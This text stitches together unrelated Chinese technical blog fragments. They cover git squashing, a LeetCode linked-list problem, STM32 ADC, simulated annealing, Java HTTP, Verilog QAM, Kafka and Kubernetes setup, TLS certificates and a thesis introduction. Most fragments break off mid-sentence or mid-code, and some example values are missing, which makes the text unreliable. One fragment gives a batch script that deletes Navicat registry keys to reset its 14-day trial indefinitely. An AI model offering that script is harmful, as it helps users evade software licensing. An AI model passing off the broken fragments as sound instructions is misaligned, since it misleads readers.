假设你有一个名为 feature 的分支,它包含三个提交(A, B, C),并且你想将这三个提交压缩成一个。下面是如何做到这一点的。
首先,找出你要开始压缩的那个最早提交的哈希值。在这个例子中,我们假设 A 是最早的提交。你可以通过运行 git log 命令来查看提交历史并找到提交 A 的哈希值。
开启交互式 rebase 模式 git rebase -i <A-hash>^ 这里 <A-hash> 是提交 A 的哈希值。^ 符号表示该提交的前一个提交。
Squash 合并 将你希望合并的每个提交行前面的 pick 改为 squash 或 s。第一行(最早的提交)应保留为 pick。
# 根据rebase -i 提交目标hash值打开编辑界面 git rebase -i 71c24d47b2f68d0465c3e3defa48311c3d592036 # 接着会弹出如下界面 s -- squash ,被合并的提交 pick 改为s(squash) pick 5c079ff120 fix s 316e094548 fix status log s a79cbdc0f3 脱手重复key问题修复 s df8650aa3f [feat] add hmi s ff74bd1bf1 [feat] add curise speed s 08bf230667 [fix] cruise_speed_limit s 71c24d47b2 [feat]: 15s hod s 26f7d3f83d Updated mff_aeb_config.
两数相加:链表表示的逆序整数求和 在这篇技术博客中,我们将讨论一个力扣(LeetCode)上的编程题目:两数相加。这个问题要求我们处理两个非空链表,它们表示两个非负整数。每个链表中的数字都是逆序存储的,我们需要将这两个整数相加,并以相同的形式返回一个表示和的链表。
题目描述 给你两个非空的链表,表示两个非负的整数。它们每位数字都是按照逆序的方式存储的,并且每个节点只能存储一位数字。
请你将两个数相加,并以相同形式返回一个表示和的链表。
你可以假设除了数字 0 之外,这两个数都不会以 0 开头。
示例 示例 1:
输入:l1 = , l2 =
输出:
解释:342 + 465 = 807.
示例 2:
输入:l1 = , l2 =
输出:
示例 3:
输入:l1 = , l2 =
输出:[8,9,9,9,
每个链表中的节点数在范围 [1, 100] 内0 <= Node.val <= 9题目数据保证列表表示的数字不含前导零 解题思路 为了解决这个问题,我们可以模拟整数加法的过程。首先,我们需要从两个链表的头节点开始,将它们的值相加,然后考虑进位。接下来,我们将两个链表的指针向后移动,并重复这个过程,直到到达链表的尾部。如果在链表的尾部仍然有进位,我们需要添加一个新的节点来存储这个进位。
# Definition for singly-linked list. # class ListNode: # def __init__(self, val=0, next=None): # self.val = val # self.next = next class Solution: def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]: res = ListNode() t = res t.
ADC简介 作用:采集传感器的数据,测量输入电压,检查电池电量剩余,检测温湿度等。
ADC性能指标 量程:能测量的电压范围
分辨率:ADC的分辨率通常以二进制数的位数表示,位数越多,分辨率越高,一般来说分辨率越高,转换时间越长。
转换时间:模拟输入电压允许的最大变化范围内,从转换开始到获得稳定的数字量输出所需要的时间称之为转换时间
STM32F0 - ADC特性 12位精准度下转换速度可高达1MHz可配置的转换精度:6位、8位、10位、12位转换电压范围:0 ~ 3.6v、V SSA ~ V DDA供电范围:2.4v ~ 3.6v19个转换通道:16个外部通道、3个内部通道采样时间可配置ADC的结果可以左对齐或右对齐方式存储在16位数据寄存器中 STM32F0-ADC时钟 APB时钟的2或4分频,最高14MHz
优点:不会有有时钟域之间的同步带来的抖动,出发时间和转换的起始时刻之间的延迟是确定的,从而保证转换之间的时间间隔是固定的
缺点:ADC的转换时间和系统时钟频率相关,收系统频率影响较大
片上14MHz HSI RC振荡器
优点:无论MCU的运行频率是多少,都可以保证最高的ADC工作频率可以使用自动节电模式(自动开启或关闭14MHz的内部振荡器)
缺点:触发信号的同步会带来抖动,触发时间和转换的起始时刻之间的延迟不确定
STM32F0-ADC通道的选择 19路复用通道
16 个从 GPIO 引脚引入的模拟输入 (ADC_IN0...ADC_IN15)3 个内部模拟输入 ( 温度传感、内部参考电压、 VBAT 通道 ) ADC 可以转换一个单一通道或自动扫描一个序列通道。被转换的通道序列必须在通道选择寄存器 ADC_CHSELR 中编程选择:每个模拟输入通道有专门的一位选择位 (CHSEL0...CHSEL18).
STM32F0-ADC转化模式 单通道单次转换模式(Single Channel Single Conversion Mode):在此模式下,ADC只转换一个通道的模拟输入,并在转换完成后停止。单通道连续转换模式(Single Channel Continuous Conversion Mode):在此模式下,ADC连续地对一个通道的模拟输入进行转换,每次转换完成后自动开始下一次转换。多通道单次转换模式(Multi-Channel Single Conversion Mode):在此模式下,ADC同时转换多个通道的模拟输入,但只进行一次转换,然后停止。多通道连续转换模式(Multi-Channel Continuous Conversion Mode):在此模式下,ADC连续地对多个通道的模拟输入进行转换,每次转换完成后自动开始下一次转换。间隔模式(Discontinuous Mode):在间隔模式下,ADC会按照预先设置的间隔进行转换。具体来说,ADC会在一次转换完成后暂停一段时间,然后再进行下一次转换。这个间隔时间可以通过配置寄存器来设置。间隔模式可以用于节省功耗,特别是在需要对多个通道进行转换时。通过设置适当的间隔时间,可以降低平均功耗,同时还可以控制采样速率 注:ADC通知应用每次转换结束(EOC)事件、ADC通知应用每次序列转换结束(EOS)事件
这些标志位都是在ADC 中断和状态寄存(ADC_ISR)中ADC_CFGR1可配置COUNT位 。
STM32F0-ADC转化时间 可编程采样时间 (SMP):
1.是什么?为什么?怎么做? Q1:模拟退火是什么算法? 模拟退火是模拟物理上退火方法,通过N次迭代(退火),逼近函数的上的一个最值(最大或者最小值)。
比如逼近这个函数的最大值C点:
Q2:模拟退火为什么可行? 讨论这个问题需要理解一下物理原型是怎么样的,也就是原来是怎么“退火”的:
模拟退火算法的思想借鉴于固体的退火原理,当固体的温度很高的时候,内能比较大,固体的内部粒子处于快速无序运动,当温度慢慢降低的过程中,固体的内能减小,粒子的慢慢趋于有序,最终,当固体处于常温时,内能达到最小,此时,粒子最为稳定。
注意标粗字体:
温度高->运动速度快(温度低->运动速度慢)温度是缓慢(想象成特别慢的那种)降低的温度基本不再变化后,趋于有序(最后内能达到最小,也就是接近最优) 我们通过模拟这个操作,使得我们需要的答案“趋于有序”,也就是最靠近需要的值(最值)。
Q3:怎么做? 大方向 首先,理解一下大方向:
模拟退火就是一种循环算法。
我们先设定一个初始的温度 T T T(这个温度会比较高,比如2000)每次循环都退火一次。(具体怎么操作后面详解)然后降低 T T T的温度,我们通过让 T T T和一个“降温系数” D e l t a T \\Delta T DeltaT(一个接近1的小数,比如 0.99 0.99 0.99)相乘,达到慢慢降低温度的效果,直到接近于0(我们用 e p s eps eps来代表一个接近0的数(比如0.00001),只要 T > e p s T>eps T>eps就可以退出循环了) 所以总的来说,用伪代码表示退火的流程是这样的:
T = 2000 # 代表开始的温度 dT = 0.99 # 代表系数delta T eps = 1e-14 # 相当于0.0000000000000001 while T > eps: # -------------- # 这里是每一次退火的操作 # -------------- T = T * dT # 温度每次下降一点点, T * 0.
把下面的内容新建一个flushuse.bat文件(随便命名后缀是.bat就行),然后放到navicat的文件目录下,双击运行,14天运行一次(refresh 14-day trial )
不用破解的dddd.
:: @echo off :: :: echo Delete HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPremium\Registration[version and language] :: for /f %%i in ('"REG QUERY "HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPremium" /s | findstr /L Registration"') do ( :: reg delete %%i /va /f :: ) :: echo. :: :: echo Delete Info folder under HKEY_CURRENT_USER\Software\Classes\CLSID :: for /f %%i in ('"REG QUERY "HKEY_CURRENT_USER\Software\Classes\CLSID" /s | findstr /E Info"') do ( :: reg delete %%i /va /f :: ) :: echo.
在Java中,发送HTTP请求的方式主要有以下几种:
使用java.net.HttpURLConnection类:
HttpURLConnection是Java中用于发送HTTP请求和接收HTTP响应的类。它是java.net包中的一部分,基于Java的网络编程API。
HttpURLConnection的一些常用参数和方法如下:
请求方法(Request Method): GET:获取资源。 POST:提交数据。 PUT:更新资源。 DELETE:删除资源。 HEAD:获取资源的头部信息。 OPTIONS:获取服务器支持的请求方法。 TRACE:回显服务器收到的请求,用于测试和诊断。 请求头(Request Headers): setRequestProperty(String key, String value):设置请求头的键值对。 请求体(Request Body): setDoOutput(true):允许向服务器发送请求体。 getOutputStream():获取输出流,用于写入请求体数据。 响应状态(Response Status): getResponseCode():获取响应状态码。 getResponseMessage():获取响应状态消息。 响应头(Response Headers): getHeaderField(String name):获取指定名称的响应头的值。 getHeaderFields():获取所有响应头的键值对。 响应体(Response Body): getInputStream():获取输入流,用于读取响应体数据。 连接和关闭: connect():建立与服务器的连接。 disconnect():关闭连接。 URL url = new URL("http://example.com"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setConnectTimeout(5000); // 设置连接超时时间为5秒 conn.setReadTimeout(5000); // 设置读取超时时间为5秒 BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; StringBuilder response = new StringBuilder(); while ((line = reader.
目录
1.算法仿真效果
2.算法涉及理论知识概要 3.Verilog核心程序 4.完整算法代码文件
1.算法仿真效果 本系统进行了Vivado2019.2平台的开发,并使用matlab2022a对结果进行星座图的显示:
将FPGA的频偏基带64QAM信号和频偏补偿后的64QAM基带信号使用matlab显示星座图,结果如下: 2.算法涉及理论知识概要 FFT傅里叶变换是一种高效的频谱分析方法,可以将时域信号转换为频域信号,用于频偏估计。FFT傅里叶变换是一种将时域信号转换为频域信号的方法,可以将信号的频谱信息展现出来。对于基带信号,通过FFT可以分析信号的频谱分布,从中获得频偏的估计。FFT傅里叶变换的数学原理如下: 假设输入的时域信号为 x(n),通过FFT傅里叶变换将其转换为频域信号 X(k):
频偏估计和补偿的目标是通过接收到的信号来估计频偏,并在接收端对接收信号进行频偏补偿,使其与发送信号的频率完全一致。基于FFT傅里叶变换的频偏估计和补偿算法的数学原理如下(其实现原理和QPSK类似): 综上所述,基于FFT傅里叶变换的QPSK基带信号频偏估计和补偿算法的实现过程主要包括64QAM调制、信号传输、接收、FFT傅里叶变换、频偏估计和频偏补偿等步骤。 3.Verilog核心程序 `timescale 1ns / 1ns module TEST; reg clk; reg i_clkSYM; reg rst; reg start; wire [5:0] parallel_data; wire [15:0]sin; wire [15:0]cos; wire signed[19:0] I_com; wire signed[19:0] Q_com; wire signed[15:0]o_Ifir_T; wire signed[15:0]o_Qfir_T; // DUT tops_64QAM_mod top( .clk(clk), .rst(rst), .start(start), .parallel_data(parallel_data), .sin(sin), .cos(cos), .I_com(I_com), .Q_com(Q_com), .I_comcos(o_Ifir_T), .Q_comsin(o_Qfir_T) ); wire [15:0]o_freq; wire signed[15:0]o_cos; wire signed[15:0]o_sin; wire signed[15:0]o_Ifir; wire signed[15:0]o_Qfir; wire o_ends; wire o_start; wire o_enable; wire signed[31:0]absy; //64相位估计和补偿 tops_64QAM_Fre_est tops_16QAMU( .
实践-CNN卷积层 1 卷积层构造2 整体流程3 BatchNormalization效果4 参数对比5 测试效果 1 卷积层构造 2 整体流程 根据网络结构来写就可以了。
池化
拉平
训练一个网络需要2-3天的时间。用经典网络来,一些细节没有必要去扣。
损失函数:
fit模型,训练
3 BatchNormalization效果 4 参数对比 过拟合了,先调数据,再调模型
5 测试效果 迭代了30多次。
大小端 大端(big endian):低地址存放最高有效字节(MSB),Motorola格式;
小端(little endian):低地址存放最低有效字节(LSB),Intel格式;
对于0x12345678这个数据在两种格式下内存中的存放:
大端(Motorola格式):
小端(Intel格式)
使用一个联合体即可测试所使用的处理器的大小端方法:
typedef union { u32 data_u32; u8 data_u8[4]; } myUnion; myUnion data; data.data_u32 = 0x12345678; printf("%0x: %0x",&(data.data_u8[0]), data.data_u8[0]); printf("%0x: %0x",&(data.data_u8[1]), data.data_u8[1]); printf("%0x: %0x",&(data.data_u8[2]), data.data_u8[2]); printf("%0x: %0x",&(data.data_u8[3]), data.data_u8[3]); 我是电脑是小端模式,所以输出如下,低有效字节78放在低地址0x9f0fe14,高有效字节放在高地址0x9f0fe17:
9f0fe14: 78
9f0fe15: 56
9f0fe16: 34
9f0fe17: 12
在烧录程序的时候,我的stm32h750北极星板突然芯片被锁了,就很难受找了很多关于这类问题的解决方法,但本人使用完后没有任何效果,后面就使用了ST官方的STM32 ST-LINK Utility软件,发现实在太方便了,可以解决大部分的问题!!!
STM32 ST-LINK Utility的官方下载链接如下https://www.st.com/en/development-tools/stsw-link004.html#get-software
我当时最先想到的办法是用flymcu去解决问题的,但是我发现试了很久都是无法链接到芯片,意思就是不行,后面使用STM32 ST-LINK Utility擦除全部程序完美解决问题。(之后我去问了正点原子的 技术支持,给出的回复是flymcu目前仅支持FI/F4系列的,如果要使用F7/H7系列的需要添加算法,我表示懵逼)
STM32 ST-LINK Utility安装很简单,官网下载完后直接安装就行,相当简单。
下载完打开STM32 ST-LINK Utility软件
最后拔出st-link下载器,在重新装上,之后就可以下载自己需要的程序了,问题到此解决。
Modbus 协议 Modbus RTU协议和Modbus TCP协议是两种不同的通信协议,主要区别如下:
物理层:Modbus RTU协议使用串口通信(如RS485),而Modbus TCP协议使用以太网通信。
数据传输方式:Modbus RTU协议是基于二进制格式的,数据以二进制位的形式传输;而Modbus TCP协议是基于TCP/IP协议的,数据以数据包的形式传输。
数据帧格式:Modbus RTU协议的数据帧包括起始符、从站地址、功能码、数据、错误检测等字段;而Modbus TCP协议的数据帧则是TCP/IP数据包,包含源IP地址、目标IP地址、TCP端口号、Modbus应用数据单元(ADU)等字段。
可靠性:Modbus RTU协议在物理层使用差分信号传输,具有较好的抗干扰能力,适用于工业环境;而Modbus TCP协议使用以太网通信,对网络环境要求较高,但可以利用TCP/IP的可靠性机制进行数据包的重传。
网络拓扑:Modbus RTU协议适用于点对点或多点到点的拓扑结构,每个设备通过串口直接连接到主站;而Modbus TCP协议适用于以太网的星型或总线型拓扑结构,设备通过以太网交换机或路由器连接到主站。
总的来说,Modbus RTU协议适用于工业现场环境,传输距离较短,抗干扰能力较强;而Modbus TCP协议适用于局域网或广域网环境,传输距离较远,但对网络环境要求较高。
简介与安装 2 训练自己的数据集整体流程3 数据加载与预处理4 搭建网络模型5 学习率对结果的影响6 Drop-out操作7 权重初始化方法对比8 初始化标准差对结果的影响9 正则化对结果的影响10 加载模型进行测试 TensorFlow:每一步都需要自己做。
Keras:做起来更轻松。任务简单化。
构建代码中使用起来是不一样的。
Caffe适合做图像识别,只有卷积网络,不适合自然语言处理,更新的慢,很多网络没有。
TensorFlow:所有的东西亲力亲为。
Keras:用起来简单,上手非常快。用TensorFlow当做他执行的一个后端。
2 训练自己的数据集整体流程 3 数据加载与预处理 4 搭建网络模型 5 学习率对结果的影响 6 Drop-out操作 7 权重初始化方法对比 用截断高斯分布
8 初始化标准差对结果的影响 9 正则化对结果的影响 10 加载模型进行测试 目前迭代了200次
推荐阅读 https://www.yii666.com/blog/478731.html?action=onAll
在 Kube-apiserver 中提供了很多认证方式,其中最常用的就是 TLS 认证,当然也有 BootstrapToken,BasicAuth 认证等,只要有一个认证通过,那么 Kube-apiserver 即认为认证通过。下面就主要讲解 TLS 认证。
延申阅读 HTTPS原理和TLS认证流程全解析:https://zhuanlan.zhihu.com/p/440612523
SSL最早是由网景公司(Netscape)开发的,后被IETF(The Internet Engineering Task Force - 互联网工程任务组)标准化后写入RFC(Request For Comments),SSL在迭代到3.0后才将其标准化,并重新更名为TLS。目前TLS先后迭代了TLS 1.0、TLS 1.1、TLS 1.2和TLS 1.3,目前被广泛使用的是TLS 1.2版本。
延申阅读 https://blog.csdn.net/wteruiycbqqvwt/article/details/102468291
所有与数字证书相关的各种概念和技术,统称为PKI( Public Key Infrastructure 公钥基础设施)。
PKI通过引入CA,数字证书,LDAP,CRL,OCSP等技术并制定相应标准,有效地解决了公钥与用户映射关系,集中服务性能瓶颈,脱机状态查询等问题。同时为促进并提高证书应用的规范性,还制定了很多与证书应用相关的各种标准。
延申阅读 https://blog.csdn.net/bluishglc/article/details/123617558
1 生成证书的步骤与原理
要理解创建证书的每一步操作必须要先理解创建证书的流程和每一步的含义。生成证书的标准流程是这样的:
生成自己的私钥文件(.key)
基于私钥生成证书请求文件(.csr)
将证书请求文件(.csr)提交给证书颁发机构(CA),CA会对提交的证书请求中的所有信息生成一个摘要,然后使用CA根证书对应的私钥进行加密,这就是所谓的“签名”操作,完成签名后就会得到真正的签发证书(.cer或.crt)
用户拿到签发后的证书,可能需要导入到自己的密钥库中,如Java的keystore,或根据需要再进行各种格式转换(.pem .p12 .jks等等)
注意:
第1/2两步可以通过一个命令合并完成。
第3步向公认可信的CA机构申请证书是线上线下都要进行操作的一系列流程,申请的公司或组织还要提交各种资质和证明,与企业申请某种执照或办理某种手续性质类似,但企业最终拿到的就是一个CA签名的证书文件。
所以,对于企业内部应用来说,完全可以自己创建自己的根证书,自己给自己签发证书,然后通过域控手段强制用户浏览器接受来自相应CA签发的证书。
再次解释一下“签名”的含义,这个概念很关键。在CA签发的证书中,包含申请者的公钥在内,几乎所有的数据都是明文的,也都是申请者自己提供的(当然CA需要审核),签发的证书唯一多出来的信息就是基于申请者提供的所有信息生成了一份摘要,然后用CA自己的私钥对摘要进行了加密,这段加密后的密文被称之为“签名”,这部分数据是返还的签发证书(.cer或.crt)中多出来的关键数据。下图是CA签发证书的原理:
————————————————
版权声明:本文为CSDN博主「 Laurence」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/bluishglc/article/details/123617558
软件授权 sls原理 https://blog.csdn.net/sinat_56310865/article/details/129367338
license授权机制的原理:
(1)生成密钥对,包含私钥和公钥。
(2)授权者保留私钥,使用私钥对授权信息诸如使用截止日期,mac 地址等内容生成 license 签名证书。
(3)公钥给使用者,放在代码中使用,用于验证 license 签名证书是否符合使用条件。
目录 1、简介1.1、Kafka集群中的节点类型1.2、两重模式的搭建方式 2、Zookeeper模式集群3、KRaft模式集群4、重要配置介绍4.1、listeners4.2、advertise.listeners4.3、process.roles4.4、controller.quorum.voters4.5、其它配置 1、简介 Kafka是一个能够支持高并发以及流式消息处理的消息中间件,并且Kafka天生就是支持集群的,今天就主要来介绍一下如何搭建Kafka集群。
Kafka目前支持使用Zookeeper模式搭建集群以及KRaft模式(即无Zookeeper)模式这两种模式搭建集群,这两种模式各有各的好处,今天就来分别介绍一下这两种方式
1.1、Kafka集群中的节点类型 一个Kafka集群是由下列几种类型的节点构成的,它们充当着不同的作用:
Broker节点:即代理节点,是Kafka中的工作节点,充当消息队列的角色,负责储存和处理消息,每个Broker都是一个独立的Kafka服务器,可以在不同的机器上运行,除此之外Broker还负责分区(partition)的管理,将主题(topic)划分为多个分区,并分布在集群的不同Broker上Controller节点:即控制器节点,是集群中的特殊节点,负责储存和管理整个集群元数据和状态,它能够监控整个集群中的Broker,在需要时还能够进行平衡操作混合节点:即同时担任Broker和Controller节点角色的节点 1.2、两重模式的搭建方式 Zookeeper模式集群KRaft模式集群 2、Zookeeper模式集群 这是一种比较简单,相对“传统”的搭建方式了!在这种模式下,每个Kafka节点都是依赖于Zookeeper的,使用Zookeeper存储集群中所有节点的元数据。
只要所有的Kafka节点连接到同一个Zookeeper上面(或者同一个Zookeeper集群),这些Kafka节点就构成了一个集群。所以说就算是只有一个Kafka节点在运行,这一个节点也可以称作一个集群。
在Zookeeper模式集群中,Zookeeper节点(或者集群)就充当了Controller的角色,而所有的Kafka节点就充当着Broker的角色。
下面就来介绍一下搭建过程,这里在1台主机上分别运行Zookeeper和Kafka来模拟一个集群,一共一个Zookeeper节点和三个Kafka节点构成,如下:
节点名地址和端口Zookeeper节点localhost:2181Kafka节点1localhost:9092Kafka节点1localhost:9093Kafka节点1localhost:9094 1、搭建Zookeeper
首先我们要运行起一个Zookeeper节点,这里就不再赘述Zookeeper节点如何搭建了,搭建可以查看官方文档,或者使用Docker的方式搭建。
搭建完成并运行Zookeeper之后,我们会把所有的Kafka节点都配置到这一个Zookeeper节点上。
2、配置并运行所有Kafka节点
修改每台虚拟机的Kafka目录中的配置文件,配置文件位于解压的Kafka文件夹中的config/server.properties,对应的三个配置文件如下:
server1.properties
# 每个节点的id,不要不相同的整数 broker.id=1 # 存储位置 log.dirs=/tmp/kafka-logs/cluster/log1 # zookeeper集群的话,多个地址用逗号分割 zookeeper.connect=localhost:2181 # zookeeper连接超时时间 zookeeper.connection.timeout.ms=18000 # 外网暴露 advertised.listeners=PLAINTEXT://localhost:9092 # 内网端口 listeners=PLAINTEXT://localhost:9092 server2.properties
# 每个节点的id,不要不相同的整数 broker.id=2 # 存储位置 log.dirs=/tmp/kafka-logs/cluster/log2 # zookeeper集群的话,多个地址用逗号分割 zookeeper.connect=localhost:2181 # zookeeper连接超时时间 zookeeper.connection.timeout.ms=18000 # 外网暴露 advertised.listeners=PLAINTEXT://localhost:9093 # 内网端口 listeners=PLAINTEXT://localhost:9093 server3.properties
# 每个节点的id,不要不相同的整数 broker.id=3 # 存储位置 log.dirs=/tmp/kafka-logs/cluster/log3 # zookeeper集群的话,多个地址用逗号分割 zookeeper.
文章目录 一、Kubernetes简介与架构1.Kubernetes简介2.kubernetes设计架构3.Kubernetes和Docker的关系、区别 二、Kubernetes集群部署1.集群环境初始化2.所有节点安装kubeadm3.拉取集群所需镜像4.集群初始化5.安装flannel网络插件6.扩容节点7.设置kubectl命令补齐 一、Kubernetes简介与架构 1.Kubernetes简介 在Docker 作为高级容器引擎快速发展的同时,在Google内部,容器技术已经应用了很多年,Borg系统运行管理着成千上万的容器应用。
Kubernetes项目来源于Borg,可以说是集结了Borg设计思想的精华,并且吸收了Borg系统中的经验和教训。
Kubernetes对计算资源进行了更高层次的抽象,通过将容器进行细致的组合,将最终的应用服务交给用户。
Kubernetes的优势:
(1)隐藏资源管理和错误处理,用户仅需要关注应用的开发。
(2)服务高可用、高可靠。
(3)可将负载运行在由成千上万的机器联合而成的集群中。
2.kubernetes设计架构 Kubernetes集群包含有节点代理kubelet和Master组件(APIs, scheduler, etcd),一切都基于分布式的存储系统。
Kubernetes主要由以下几个核心组件组成:
etcd:保存了整个集群的状态;数据存储引擎;后期可替换为其他存储引擎,仅对应需改变apiserver即可apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API(Application Programming Interface,应用程序编程接口)注册和发现等机制;其他所有组件通过apiserver连接etcd,进行写入数据等;controller manager:负责维护集群的状态,比如故障检测、自动扩展、滚动更新等scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上kubelet:负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI);目前阶段就是dockerkube-proxy:负责为Service提供cluster内部的服务发现和负载均衡 除了核心组件,还有一些推荐的Add-ons:
kube-dns:负责为整个集群提供DNS服务Ingress Controller:为服务提供外网入口Heapster:提供资源监控Dashboard:提供GUI,界面Federation:提供跨可用区的集群Fluentd-elasticsearch:提供集群日志采集、存储与查询 Kubernetes设计理念和功能其实就是一个类似Linux的分层架构
核心层:Kubernetes最核心的功能,对外提供API构建高层的应用,对内提供插件式应用执行环境应用层:部署(无状态应用、有状态应用、批处理任务、集群应用等)和路由(服务发现、DNS解析等)管理层:系统度量(如基础设施、容器和网络的度量),自动化(如自动扩展、动态Provision等)以及策略管理(RBAC、Quota、PSP、NetworkPolicy等)接口层:kubectl命令行工具、客户端SDK以及集群联邦生态系统:在接口层之上的庞大容器集群管理调度的生态系统,可以划分为两个范畴: Kubernetes外部:日志、监控、配置管理、CI、CD、Workflow、FaaS、OTS应用、ChatOps等Kubernetes内部:CRI、CNI、CVI、镜像仓库、Cloud Provider、集群自身的配置和管理等 3.Kubernetes和Docker的关系、区别 Kubernetes和Docker定义
Kubernetes: 是一个开源的容器集群管理系统,可以实现容器集群的自动化部署、自动扩缩容、维护等功能。它是一个全面的系统,用于自动化部署、调度和扩展容器化应用,并支持许多容器化工具,如Docker。
Docker:是一个开源的应用容器引擎,开发者可以打包他们的应用及依赖到一个可移植的容器中,可运行在Debian、CentOS、Ubuntu等多操作系统上,也可实现虚拟化。
Kubernetes和Docker区别
Docker是用于构建、分发和运行Docker容器的平台和工具;而Kubernetes不包含用于创建或管理容器镜像的功能,并且它本身并不运行容器。因此两者的主要区别在于Docker在单个节点上运行,而Kubernetes设计为在集群上运行。
Kubernetes和Docker另一个主要区别在于Docker可以在没有Kubernetes的情况下使用,而Kubernetes需要容器运行时才能进行编排。
两者各有各的优势,解决的问题也有所不同
二、Kubernetes集群部署 官方网址:https://kubernetes.io/
1-23版本:https://v1-23.docs.kubernetes.io/zh/docs/setup/production-environment/tools/kubeadm/install-kubeadm/
由上图,本次实验我们选择安装1.23版本
本次实验需准备4台主机:
主机名ip角色server1192.168.117.11reg.westos.org,harbor仓库server2192.168.117.12master,k8s集群控制节点server3192.168.117.13node,k8s集群工作节点server4192.168.117.14node,k8s集群工作节点 所有节点禁用selinux和防火墙
所有节点同步时间和/etc/hosts解析
所有节点安装docker-ce
所有节点禁用swap,注意注释掉/etc/fstab文件中的定义
1.集群环境初始化 server1拉起仓库:
[root@server1 harbor]# docker-compose up -d
由于传文件较多,也可以在server1做免密,本实验未采用免密
所有k8s集群节点执行以下步骤
禁用swap
[root@server2 ~]# swapoff -a
[root@server2 ~]# vim /etc/fstab
#/dev/mapper/rhel-swap swap swap defaults 0 0
基于java的学生宿舍管理系统设计与实现
I. 引言 A.研究背景和动机 研究背景:
随着高校规模的不断扩大和管理的日益复杂,学生宿舍管理成为高校管理的一个重要环节。传统的手工管理方式已经无法满足高校对学生宿舍管理的需求,因此,基于Java的学生宿舍管理系统设计与实现具有重要的研究背景和实际应用价值。
学生宿舍管理涉及到众多环节,如学生入住、房间分配、床位管理、水电费计费等。传统的手工管理方式存在着很多问题,如信息不一致、数据不准确、流程不规范等。而基于Java的学生宿舍管理系统设计与实现,可以提供一种自动化、智能化、集中化的管理方式,使得学生宿舍的各项管理更加便捷和高效。
近年来,信息化技术得到了迅速发展和广泛应用,学生宿舍管理系统的设计和实现也成为了一个热门话题。许多高校已经引入了学生宿舍管理系统,并取得了良好的应用效果。基于Java的学生宿舍管理系统设计与实现,可以充分利用现有的信息化技术,实现学生宿舍管理的全面信息化,提高管理效率和服务质量。
动机:
基于以上研究背景和问题现状,进行基于Java的学生宿舍管理系统设计与实现的毕业设计具有以下动机:
提高管理效率和服务质量:传统的宿舍管理方式存在着很多问题,如信息不一致、流程不规范等。而基于Java的学生宿舍管理系统设计与实现可以自动化和集中化管理各项数据,提高管理效率和服务质量。优化资源利用和运营成本:通过学生宿舍管理系统的设计和实现,可以更加精确地统计和分析宿舍使用情况,优化资源配备和采购策略,降低运营成本。提升学生满意度和用户体验:基于Java的学生宿舍管理系统设计与实现可以提供更加便捷、快速、准确的服务,提升学生的满意度和用户体验。支持数字化校园建设:随着数字化校园的普及和发展,学生宿舍管理系统的设计和实现可以更好地支持数字化校园建设,提高学校的管理和服务水平。学习和实践软件开发技术:通过进行基于Java的学生宿舍管理系统设计与实现的毕业设计,可以深入学习和实践Java语言、数据库技术、网络技术、软件工程等相关知识和技术,提高软件开发能力。 基于Java的学生宿舍管理系统设计与实现具有重要的研究背景和现实动机。通过提高管理效率和服务质量、优化资源利用和运营成本、提升学生满意度和用户体验、支持数字化校园建设等方面的需求,可设计和实现一个功能完善、高效可靠的学生宿舍管理系统。同时,该毕业设计还提供了学习和实践软件开发技术的机会,有助于提高相关技能和能力。因此,基于Java的学生宿舍管理系统设计与实现具有重要的研究意义和实践价值。
B.目标和意义 基于Java的学生宿舍管理系统设计与实现的目标是为学生宿舍管理提供一个自动化、高效和便捷的管理平台,旨在提高宿舍资源的管理效率和服务质量。具体而言,目标包括:
实现宿舍信息的自动化录入、存储和管理,减少人工管理的工作量和错误率。设计并实现一个操作简单、快捷的宿舍分配、调整和退宿功能,使住宿学生可以方便地申请和调整宿舍,同时简化宿舍管理员的工作流程。为住宿学生提供个性化的服务,如根据个人需求进行宿舍申请、提供宿舍设施信息和住宿指南等,提升学生的住宿体验。统计与分析功能:通过系统自动生成的报表和统计图表,为宿舍管理人员提供准确的数据分析,以优化资源配置和决策制定。支持集成现有宿舍管理系统和信息化平台,以实现数据的共享和互联互通,提高管理效率。 基于Java的学生宿舍管理系统设计与实现具有重要的实际意义和社会价值。
提高资源利用率:通过系统的自动化管理和分配功能的实现,提高了宿舍资源的利用率。学生能够方便地申请和调整宿舍,住宿周期也得到了精确监控,保证了宿舍资源的高效使用。提升服务质量:通过系统的个性化服务和自动化处理功能,加强宿舍管理部门对住宿学生的了解和回应,提供更快捷、准确的服务,进一步提升了服务质量。简化管理流程:传统的宿舍管理流程通常繁琐而费时,借助基于Java的学生宿舍管理系统设计与实现,宿舍管理部门可以简化许多手工和重复工作,提高工作效率,从而将资源更多地聚焦于学生服务上。提高安全性:通过系统的宿舍分配、调整和退宿功能设计,在宿舍资源管理过程中实现了准确的身份验证和住宿记录的保存,提高了宿舍资源的安全性。推动数字化宿舍管理发展:随着数字化宿舍管理的普及,基于Java的学生宿舍管理系统设计与实现支持集成现有的宿舍管理系统和信息化平台,实现数据的共享和互联互通,提高数字化管理效率。学习和实践软件开发技术:基于Java的学生宿舍管理系统设计与实现是学习和实践软件开发技术的良好平台。通过该项目的实践,可以深入学习和应用Java语言、数据库技术、网络技术、软件工程等相关知识和技术,提高软件开发和系统设计的能力。 总之,基于Java的学生宿舍管理系统设计与实现为学生宿舍管理提供了一种高效、智能的管理解决方案,具有提高资源利用率、提升服务质量、简化管理流程、提高安全性、推动数字化宿舍管理发展等重要意义。同时,通过该项目的学习和实践,能够提高软件开发能力和系统设计能力,为未来的职业发展奠定基础。因此,该项目具有深远的实际意义和社会价值。
II. 相关技术和工具 A.Java语言 Java语言是一种面向对象的高级编程语言,由Sun Microsystems(现在是Oracle公司)于1995年发布。它被设计成可移植、可靠、安全和简单易学的语言,以及具有优秀的性能和高效的垃圾回收机制。
